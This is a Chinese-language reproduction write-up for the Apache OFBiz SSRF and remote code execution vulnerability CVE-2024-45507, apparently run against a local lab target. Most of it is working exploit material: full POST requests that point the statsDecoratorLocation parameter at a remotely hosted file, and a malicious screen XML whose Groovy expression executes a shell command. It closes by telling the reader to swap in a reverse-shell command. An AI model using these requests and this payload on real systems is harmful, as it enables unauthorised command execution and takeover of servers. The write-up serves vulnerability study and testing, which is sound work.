Apache OFBiz SSRF 和远程代码执行漏洞(CVE-2024-45507)
概述
Apache OFBiz 是一个开源的企业级应用程序框架,主要用于构建大型的、跨平台的、多层的、分布式的电子商务应用系统。它提供了构建 ERP (企业资源规划), CRM (客户关系管理), 电子商务, SCM (供应链管理) 等系统所需的各种组件和工具。OFBiz 基于 J2EE 和 XML 规范,采用 Java 语言开发,并遵循 Apache License 2.0 许可协议。
在 Apache OFBiz 18.12.16 之前的版本中,存在一处 SSRF 与远程命令执行漏洞,未授权的远程攻击者可以通过向目标系统发送恶意请求来执行任意命令并控制服务器。
漏洞复现
启动靶场以后,访问 https://192.168.2.243:8443/accounting 即可进入登录页面。
首先是 SSRF 漏洞
向 /webtools/control/forgotPassword/StatsSinceStart
URL 发送 POST 请求:
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 192.168.2.243:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://IP/path/to/api
其次是远程代码执行漏洞
在一个 target 可以访问到的服务器上创建一个恶意的 XML 文件:
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'touch /tmp/success'.execute();}"/>
</actions>
</section>
</screen>
</screens>
随后将创建的 XML 的 URL 放入 POST 请求中:
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 192.168.2.243:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://192.168.2.243:8000/payload.xml
发送该请求,即可成功执行该命令。
进入容器,可以看到成功创建 success
。
尝试反弹 Shell。
修改 XML 中的命令为 GetShell 的命令,执行即可 GetShell。